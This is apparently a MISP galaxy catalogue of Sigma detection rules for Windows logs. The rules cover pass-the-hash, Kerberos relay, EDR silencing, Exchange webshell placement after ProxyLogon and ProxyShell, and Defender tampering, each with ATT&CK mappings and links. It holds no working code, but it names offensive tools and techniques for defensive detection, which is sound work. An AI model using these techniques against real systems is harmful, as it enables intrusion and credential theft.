RDP login with localhost source address may be a tunnelled login

The tag is: *misp-galaxy:sigma-rules="RDP Login from Localhost"*

View relationships graph

RDP Login from Localhost has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 16239. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_rdp_localhost_login.yml

Admin User Remote Logon

Detect remote login by Administrator user (depending on internal pattern).

The tag is: *misp-galaxy:sigma-rules="Admin User Remote Logon"*

View relationships graph

Admin User Remote Logon has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 16240. Table References

Links
https://car.mitre.org/wiki/CAR-2016-04-005
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_admin_rdp_login.yml

Successful Overpass the Hash Attempt

Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.

The tag is: *misp-galaxy:sigma-rules="Successful Overpass the Hash Attempt"*

View relationships graph

Successful Overpass the Hash Attempt has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

Table 16241. Table References

Links
https://web.archive.org/web/20220419045003/https://cyberwardog.blogspot.com/2017/04/chronicles-of-threat-hunter-hunting-for.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_overpass_the_hash.yml

Failed Logon From Public IP

Detects a failed logon attempt from a public IP. A login from a public IP can indicate a misconfigured firewall or network boundary.

The tag is: *misp-galaxy:sigma-rules="Failed Logon From Public IP"*

View relationships graph

Failed Logon From Public IP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 16242. Table References

Links
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4625
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_failed_logon_source.yml

Potential Access Token Abuse

Detects potential token impersonation and theft. Example, when using "DuplicateToken(Ex)" and "ImpersonateLoggedOnUser" with the "LOGON32_LOGON_NEW_CREDENTIALS flag".

The tag is: *misp-galaxy:sigma-rules="Potential Access Token Abuse"*

View relationships graph

Potential Access Token Abuse has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"

Table 16243. Table References

Links
https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation
https://www.manageengine.com/log-management/cyber-security/access-token-manipulation.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_access_token_abuse.yml

DiagTrackEoP Default Login Username

Detects the default "UserName" used by the DiagTrackEoP POC

The tag is: *misp-galaxy:sigma-rules="DiagTrackEoP Default Login Username"*

Table 16244. Table References

Links
https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_diagtrack_eop_default_login_username.yml

Pass the Hash Activity 2

Detects the attack technique pass the hash which is used to move laterally inside the network

The tag is: *misp-galaxy:sigma-rules="Pass the Hash Activity 2"*

View relationships graph

Pass the Hash Activity 2 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

Table 16245. Table References

Links
https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events
https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/
https://web.archive.org/web/20170909091934/https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_pass_the_hash_2.yml

A Security-Enabled Global Group Was Deleted

Detects activity when a security-enabled global group is deleted

The tag is: *misp-galaxy:sigma-rules="A Security-Enabled Global Group Was Deleted"*

View relationships graph

A Security-Enabled Global Group Was Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 16246. Table References

Links
https://www.cisecurity.org/controls/cis-controls-list/
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730
https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634
https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_security_enabled_global_group_deleted.yml

External Remote RDP Logon from Public IP

Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port.

The tag is: *misp-galaxy:sigma-rules="External Remote RDP Logon from Public IP"*

View relationships graph

External Remote RDP Logon from Public IP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 16247. Table References

Links
https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html

https://twitter.com/Purp1eW0lf/status/1616144561965002752
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_successful_external_remote_rdp_login.yml

Potential Privilege Escalation via Local Kerberos Relay over LDAP

Detects a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, and the target user SID is the built-in local Administrator account. This may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined limited user to local System privileges.

The tag is: *misp-galaxy:sigma-rules="Potential Privilege Escalation via Local Kerberos Relay over LDAP"*

View relationships graph

Potential Privilege Escalation via Local Kerberos Relay over LDAP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 16248. Table References

Links
https://github.com/elastic/detection-rules/blob/5fe7833312031a4787e07893e27e4ea7a7665745/rules/_deprecated/privilege_escalation_krbrelayup_suspicious_logon.toml#L38
https://twitter.com/sbousseaden/status/1518976397364056071?s=12&t=qKO5eKHvWhAP19a50FTZ7g
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_privesc_kerberos_relay_over_ldap.yml

Outgoing Logon with New Credentials

Detects logon events that specify new credentials

The tag is: *misp-galaxy:sigma-rules="Outgoing Logon with New Credentials"*

View relationships graph

Outgoing Logon with New Credentials has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550" with estimative-language:likelihood-probability="almost-certain"

Table 16249. Table References

Links
https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_logon_newcredentials.yml

A Member Was Removed From a Security-Enabled Global Group

Detects activity when a member is removed from a security-enabled global group

The tag is: *misp-galaxy:sigma-rules="A Member Was Removed From a Security-Enabled Global Group"*

View relationships graph

A Member Was Removed From a Security-Enabled Global Group has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 16250. Table References

Links
https://www.cisecurity.org/controls/cis-controls-list/
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729
https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf
https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_member_removed_security_enabled_global_group.yml

A Member Was Added to a Security-Enabled Global Group

Detects activity when a member is added to a security-enabled global group

The tag is: *misp-galaxy:sigma-rules="A Member Was Added to a Security-Enabled Global Group"*

View relationships graph

A Member Was Added to a Security-Enabled Global Group has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"

Table 16251. Table References

Links
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4728
https://www.cisecurity.org/controls/cis-controls-list/
https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=632
https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf
https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_member_added_security_enabled_global_group.yml

Windows Filtering Platform Blocked Connection From EDR Agent Binary

Detects a Windows Filtering Platform (WFP) blocked connection event involving common Endpoint Detection and Response (EDR) agents. Adversaries may use WFP filters to prevent Endpoint Detection and Response (EDR) agents from reporting security events.

The tag is: *misp-galaxy:sigma-rules="Windows Filtering Platform Blocked Connection From EDR Agent Binary"*

View relationships graph

Windows Filtering Platform Blocked Connection From EDR Agent Binary has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 16252. Table References

Links
https://github.com/amjcyber/EDRNoiseMaker
https://github.com/netero1010/EDRSilencer
https://ghoulsec.medium.com/misc-series-4-forensics-on-edrsilencer-events-428b20b3f983
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/object_access/win_security_wfp_endpoint_agent_blocked.yml

CodeIntegrity - Revoked Kernel Driver Loaded

Detects the load of a revoked kernel driver

The tag is: *misp-galaxy:sigma-rules="CodeIntegrity - Revoked Kernel Driver Loaded"*

Table 16253. Table References

Links
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver_loaded.yml

CodeIntegrity - Unmet WHQL Requirements For Loaded Kernel Module

Detects loaded kernel modules that did not meet the WHQL signing requirements.

The tag is: *misp-galaxy:sigma-rules="CodeIntegrity - Unmet WHQL Requirements For Loaded Kernel Module"*

Table 16254. Table References

Links
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_whql_failure.yml

CodeIntegrity - Revoked Image Loaded

Detects image load events with revoked certificates by code integrity.

The tag is: *misp-galaxy:sigma-rules="CodeIntegrity - Revoked Image Loaded"*

Table 16255. Table References

Links
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations
Internal Research[Internal Research]

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_image_loaded.yml

CodeIntegrity - Blocked Image Load With Revoked Certificate

Detects blocked image load events with revoked certificates by code integrity.

The tag is: *misp-galaxy:sigma-rules="CodeIntegrity - Blocked Image Load With Revoked Certificate"*

Table 16256. Table References

Links
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_image_blocked.yml

CodeIntegrity - Disallowed File For Protected Processes Has Been Blocked

Detects block events for files that are disallowed by code integrity for protected processes

The tag is: *misp-galaxy:sigma-rules="CodeIntegrity - Disallowed File For Protected Processes Has Been Blocked"*

Table 16257. Table References

Links
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_blocked_protected_process_file.yml

CodeIntegrity - Unsigned Kernel Module Loaded

Detects the presence of a loaded unsigned kernel module on the system.

The tag is: *misp-galaxy:sigma-rules="CodeIntegrity - Unsigned Kernel Module Loaded"*

Table 16258. Table References

Links
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_unsigned_driver_loaded.yml

CodeIntegrity - Blocked Driver Load With Revoked Certificate

Detects blocked load attempts of revoked drivers

The tag is: *misp-galaxy:sigma-rules="CodeIntegrity - Blocked Driver Load With Revoked Certificate"*

View relationships graph

CodeIntegrity - Blocked Driver Load With Revoked Certificate has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

Table 16259. Table References

Links
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver_blocked.yml

CodeIntegrity - Unsigned Image Loaded

Detects loaded unsigned image on the system

The tag is: *misp-galaxy:sigma-rules="CodeIntegrity - Unsigned Image Loaded"*

Table 16260. Table References

Links
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_unsigned_image_loaded.yml

CodeIntegrity - Unmet Signing Level Requirements By File Under Validation

Detects attempted file load events that did not meet the signing level requirements. It often means the file's signature is revoked or a signature with the Lifetime Signing EKU has expired. This event is best correlated with EID 3089 to determine the error of the validation.

The tag is: *misp-galaxy:sigma-rules="CodeIntegrity - Unmet Signing Level Requirements By File Under Validation"*

Table 16261. Table References

Links
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
https://twitter.com/SBousseaden/status/1483810148602814466
https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-tag-explanations
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_attempted_dll_load.yml

CodeIntegrity - Blocked Image/Driver Load For Policy Violation

Detects blocked load events that did not meet the authenticode signing level requirements or violated the code integrity policy.

The tag is: *misp-galaxy:sigma-rules="CodeIntegrity - Blocked Image/Driver Load For Policy Violation"*

View relationships graph

CodeIntegrity - Blocked Image/Driver Load For Policy Violation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

Table 16262. Table References

Links
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/operations/event-id-explanations
https://twitter.com/wdormann/status/1590434950335320065
https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_enforced_policy_block.yml

Potential Remote Desktop Connection to Non-Domain Host

Detects logons using NTLM to hosts that are potentially not part of the domain.

The tag is: *misp-galaxy:sigma-rules="Potential Remote Desktop Connection to Non-Domain Host"*

View relationships graph

Potential Remote Desktop Connection to Non-Domain Host has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 16263. Table References

Links
n/a[n/a]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_rdp.yml

NTLM Brute Force

Detects common NTLM brute force device names

The tag is: *misp-galaxy:sigma-rules="NTLM Brute Force"*

View relationships graph

NTLM Brute Force has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"

Table 16264. Table References

Links
https://www.varonis.com/blog/investigate-ntlm-brute-force
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_brute_force.yml

NTLM Logon

Detects logons using NTLM, which could be caused by a legacy source or attackers

The tag is: *misp-galaxy:sigma-rules="NTLM Logon"*

View relationships graph

NTLM Logon has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"

Table 16265. Table References

Links
https://twitter.com/JohnLaTwC/status/1004895028995477505
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_auth.yml

Scheduled Task Executed Uncommon LOLBIN

Detects the execution of Scheduled Tasks where the program being run is located in a suspicious location or where it is an unusual program to be run from a Scheduled Task

The tag is: *misp-galaxy:sigma-rules="Scheduled Task Executed Uncommon LOLBIN"*

View relationships graph

Scheduled Task Executed Uncommon LOLBIN has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 16266. Table References

Links

Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/taskscheduler/win_taskscheduler_lolbin_execution_via_task_scheduler.yml

Important Scheduled Task Deleted

Detects when adversaries try to stop system services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities

The tag is: *misp-galaxy:sigma-rules="Important Scheduled Task Deleted"*

View relationships graph

Important Scheduled Task Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 16267. Table References

Links
https://www.socinvestigation.com/most-common-windows-event-ids-to-hunt-mind-map/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/taskscheduler/win_taskscheduler_susp_schtasks_delete.yml

Scheduled Task Executed From A Suspicious Location

Detects the execution of Scheduled Tasks where the Program being run is located in a suspicious location or it's an unusale program to be run from a Scheduled Task

The tag is: *misp-galaxy:sigma-rules="Scheduled Task Executed From A Suspicious Location"*

View relationships graph

Scheduled Task Executed From A Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 16268. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/taskscheduler/win_taskscheduler_execution_from_susp_locations.yml

Exchange Set OabVirtualDirectory ExternalUrl Property

Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log

The tag is: *misp-galaxy:sigma-rules="Exchange Set OabVirtualDirectory ExternalUrl Property"*

View relationships graph

Exchange Set OabVirtualDirectory ExternalUrl Property has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 16269. Table References

Links
https://twitter.com/OTR_Community/status/1371053369071132675
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_set_oabvirtualdirectory_externalurl.yml

MSExchange Transport Agent Installation - Builtin

Detects the Installation of a Exchange Transport Agent

The tag is: *misp-galaxy:sigma-rules="MSExchange Transport Agent Installation - Builtin"*

View relationships graph

MSExchange Transport Agent Installation - Builtin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Transport Agent - T1505.002" with estimative-language:likelihood-probability="almost-certain"

Table 16270. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=7
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent.yml

Failed MSExchange Transport Agent Installation

Detects a failed installation of a Exchange Transport Agent

The tag is: *misp-galaxy:sigma-rules="Failed MSExchange Transport Agent Installation"*

View relationships graph

Failed MSExchange Transport Agent Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Transport Agent - T1505.002" with estimative-language:likelihood-probability="almost-certain"

Table 16271. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=8
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent_failed.yml

Mailbox Export to Exchange Webserver

Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it

The tag is: *misp-galaxy:sigma-rules="Mailbox Export to Exchange Webserver"*

View relationships graph

Mailbox Export to Exchange Webserver has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 16272. Table References

Links
https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_mailbox_export.yml

Remove Exported Mailbox from Exchange Webserver

Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit

The tag is: *misp-galaxy:sigma-rules="Remove Exported Mailbox from Exchange Webserver"*

View relationships graph

Remove Exported Mailbox from Exchange Webserver has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 16273. Table References

Links
https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/modules/exploits/windows/http/exchange_proxyshell_rce.rb#L430
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_remove_mailbox_export.yml

ProxyLogon MSExchange OabVirtualDirectory

Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory

The tag is: *misp-galaxy:sigma-rules="ProxyLogon MSExchange OabVirtualDirectory"*

View relationships graph

ProxyLogon MSExchange OabVirtualDirectory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

Table 16274. Table References

Links
https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxylogon_oabvirtualdir.yml

Certificate Request Export to Exchange Webserver

Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell

The tag is: *misp-galaxy:sigma-rules="Certificate Request Export to Exchange Webserver"*

View relationships graph

Certificate Request Export to Exchange Webserver has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 16275. Table References

Links
https://twitter.com/GossiTheDog/status/1429175908905127938

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_certificate_generation.yml

HybridConnectionManager Service Running

Rule to detect the Hybrid Connection Manager service running on an endpoint.

The tag is: *misp-galaxy:sigma-rules="HybridConnectionManager Service Running"*

View relationships graph

HybridConnectionManager Service Running has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise Host Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"

Table 16276. Table References

Links
https://twitter.com/Cyb3rWard0g/status/1381642789369286662
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/servicebus/win_hybridconnectionmgr_svc_running.yml

Unsigned Binary Loaded From Suspicious Location

Detects Code Integrity (CI) engine blocking processes from loading unsigned DLLs residing in suspicious locations

The tag is: *misp-galaxy:sigma-rules="Unsigned Binary Loaded From Suspicious Location"*

View relationships graph

Unsigned Binary Loaded From Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16277. Table References

Links
https://github.com/nasbench/EVTX-ETW-Resources/blob/45fd5be71a51aa518b1b36d4e1f36af498084e27/ETWEventsList/CSV/Windows11/21H2/W11_21H2_Pro_20220719_22000.795/Providers/Microsoft-Windows-Security-Mitigations.csv
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_unsigned_dll_from_susp_location.yml

Microsoft Defender Blocked from Loading Unsigned DLL

Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL

The tag is: *misp-galaxy:sigma-rules="Microsoft Defender Blocked from Loading Unsigned DLL"*

View relationships graph

Microsoft Defender Blocked from Loading Unsigned DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 16278. Table References

Links
https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security_mitigations/win_security_mitigations_defender_load_unsigned_dll.yml

Certificate Exported From Local Certificate Store

Detects when an application exports a certificate (and potentially the private key as well) from the local Windows certificate store.

The tag is: *misp-galaxy:sigma-rules="Certificate Exported From Local Certificate Store"*

View relationships graph

Certificate Exported From Local Certificate Store has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649" with estimative-language:likelihood-probability="almost-certain"

Table 16279. Table References

Links
https://www.splunk.com/en_us/blog/security/breaking-the-chain-defending-against-certificate-services-abuse.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/certificate_services_client_lifecycle_system/win_certificateservicesclient_lifecycle_system_cert_exported.yml

Suspicious Rejected SMB Guest Logon From IP

Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler

Service

The tag is: *misp-galaxy:sigma-rules="Suspicious Rejected SMB Guest Logon From IP"*

View relationships graph

Suspicious Rejected SMB Guest Logon From IP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"

Table 16280. Table References

Links
https://twitter.com/KevTheHermit/status/1410203844064301056
https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare
https://web.archive.org/web/20210629055600/https://github.com/hhlxf/PrintNightmare/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/smbclient/security/win_smbclient_security_susp_failed_guest_logon.yml

Windows Defender Threat Detected

Detects actions taken by Windows Defender malware detection engines

The tag is: *misp-galaxy:sigma-rules="Windows Defender Threat Detected"*

View relationships graph

Windows Defender Threat Detected has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 16281. Table References

Links
https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_threat.yml

Microsoft Defender Tamper Protection Trigger

Detects blocked attempts to change any of Defender's settings such as "Real Time Monitoring" and "Behavior Monitoring"

The tag is: *misp-galaxy:sigma-rules="Microsoft Defender Tamper Protection Trigger"*

View relationships graph

Microsoft Defender Tamper Protection Trigger has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16282. Table References

Links
https://bhabeshraj.com/post/tampering-with-microsoft-defenders-tamper-protection
https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_tamper_protection_trigger.yml

Windows Defender Real-time Protection Disabled

Detects disabling of Windows Defender Real-time Protection. As this event doesn't contain a lot of information on who initiated this action you might want to reduce it to a "medium" level if this occurs too many times in your environment

The tag is: *misp-galaxy:sigma-rules="Windows Defender Real-time Protection Disabled"*

View relationships graph

Windows Defender Real-time Protection Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
